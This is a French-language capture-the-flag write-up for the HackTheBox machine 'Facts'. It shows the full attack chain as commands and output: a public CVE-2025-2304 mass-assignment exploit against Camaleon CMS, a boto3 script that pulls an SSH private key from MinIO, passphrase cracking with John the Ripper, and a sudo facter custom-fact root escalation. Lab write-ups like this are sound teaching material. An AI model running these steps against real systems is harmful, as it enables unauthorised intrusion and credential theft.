karimelsheikh1/htb-facts-writeupHackTheBox Facts machine writeup — CVE-2025-2304, énumération MinIO S3, craquage de clés SSH, et élévation de privilèges via facter.
| Champ | Détails |
|---|---|
| Nom | Facts |
| Système d'exploitation | Linux |
| Difficulté | Facile |
| Sortie | Saison 10 |
| Retirée | Non |
Reconnaissance → Énumération Web → CVE-2025-2304 (Mass Assignment) → Fuite d'identifiants S3/MinIO → Extraction de clé SSH → Craquage de phrase de passe → Shell utilisateur → Abus sudo facter → Root
sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>
Résultats :
22/tcp open ssh OpenSSH 9.9p1 Ubuntu
80/tcp open http nginx 1.26.3 (Camaleon CMS)
54321/tcp open http MinIO S3 Server
echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml
Résultats clés :
http://facts.htb/admin/loginhttp://facts.htb/admin/registerVisitez http://facts.htb/admin/register et créez un compte. Notez qu'il y a un captcha — inscrivez-vous via le navigateur.
Le point de terminaison updated_ajax utilise permit! permettant de mettre à jour tous les paramètres, y compris le rôle (role).
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e
Sortie :
[+] Connexion confirmée
Rôle actuel de l'utilisateur : client
[+] Rôle utilisateur mis à jour : admin
[+] Extraction des identifiants S3
s3 access key: AKIAA5CA83CCFE35CD69
s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
s3 endpoint: http://localhost:54321
Le port 54321 exécute un serveur compatible MinIO S3. En utilisant les identifiants divulgués :
import boto3
from botocore.client import Config
s3 = boto3.client(
's3',
endpoint_url='http://facts.htb:54321',
aws_access_key_id='AKIAA5CA83CCFE35CD69',
aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)
paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
for o in page.get('Contents', []):
if 'info-etags' not in o['Key']:
print(o['Key'])
s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))
Fichiers clés trouvés :
.ssh/authorized_keys
.ssh/id_ed25519 ← SSH private key
.profile
.bashrc
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Phrase de passe craquée : dragonballz
ssh -i /tmp/.ssh_id_ed25519 [email protected]
# Entrez la phrase de passe : dragonballz
cat /home/william/user.txt
sudo -l
(ALL) NOPASSWD: /usr/bin/facter
Facter charge des faits personnalisés sous forme de scripts Ruby. Puisque nous pouvons l'exécuter en tant que root sans mot de passe, nous injectons du code Ruby arbitraire :
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
setcode do
exec("/bin/bash -p")
end
end
EOF
sudo facter --custom-dir=/tmp/facts pwn
Shell root obtenu !
whoami # root
cat /root/root.txt
Ce write-up est à but éducatif uniquement. Effectuez toujours les tests de sécurité sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite.
| Outil | Objectif |
|---|
| Nmap | Scan de ports et détection de services |
| Feroxbuster | Énumération de répertoires web |
| CVE-2025-2304 PoC | Élévation de privilèges Camaleon CMS |
| boto3 (Python) | Énumération MinIO/S3 et téléchargement de fichiers |
| ssh2john | Conversion de clé SSH en hash craquable |
| John the Ripper | Craquage de phrase de passe de clé SSH |
| facter | Élévation de privilèges via mauvaise configuration sudo |